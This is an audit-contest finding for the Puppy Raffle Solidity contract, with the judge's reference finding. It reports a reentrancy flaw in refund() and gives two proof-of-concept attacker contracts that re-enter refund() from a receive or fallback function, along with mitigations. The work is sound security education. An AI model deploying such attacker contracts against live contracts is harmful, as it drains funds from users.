Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

reentrancy in refund function

Root + Impact

The refund function performs an external call before updating contract state.

This violates the Checks-Effects-Interactions pattern, making the function vulnerable to reentrancy attacks.

An attacker can:

  1. Enter the raffle

  2. Call refund()

  3. Re-enter the function via fallback before state is updated

  4. Drain funds by receiving multiple refunds

This can lead to:

  • Loss of contract funds

  • Insolvency of the raffle pool

Description

  • CEI pattern should be implmented with reentrancy guard

  • function performs an external call before updating contract state

payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);

Risk

If exploited, this vulnerability allows an attacker to:

  • Call refund() once

  • Re-enter the function multiple times before state is updated

  • Receive multiple refunds for a single ticket

Impact

Drain ETH from the contract

  • Break accounting assumptions

  • Potentially make the contract insolvent

Proof of Concept

testing contract:

contract Attacker {
PuppyRaffle raffle;
uint256 index;
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
}
function attack(uint256 _index) external {
index = _index;
raffle.refund(index);
}
receive() external payable {
if (address(raffle).balance >= raffle.entranceFee()) {
raffle.refund(index);
}
}
}
  1. Attacker deploys Attacker contract

  2. Attacker enters raffle:

    • Calls enterRaffle() with their contract address

  3. Contract now holds ETH from multiple participants

  4. Attacker calls:

    attack(playerIndex)
  5. Execution flow:

    • refund() sends ETH to attacker

    • Attacker’s receive() is triggered

    • refund() is called again before state update

  6. This loop continues until:

    • Contract balance is drained OR

    • Gas runs out

Recommended Mitigation

Integrate:

  • ReentrancyGuard

function refund(uint256 playerIndex) public nonReentrant {
  • Apply CEI pattern:

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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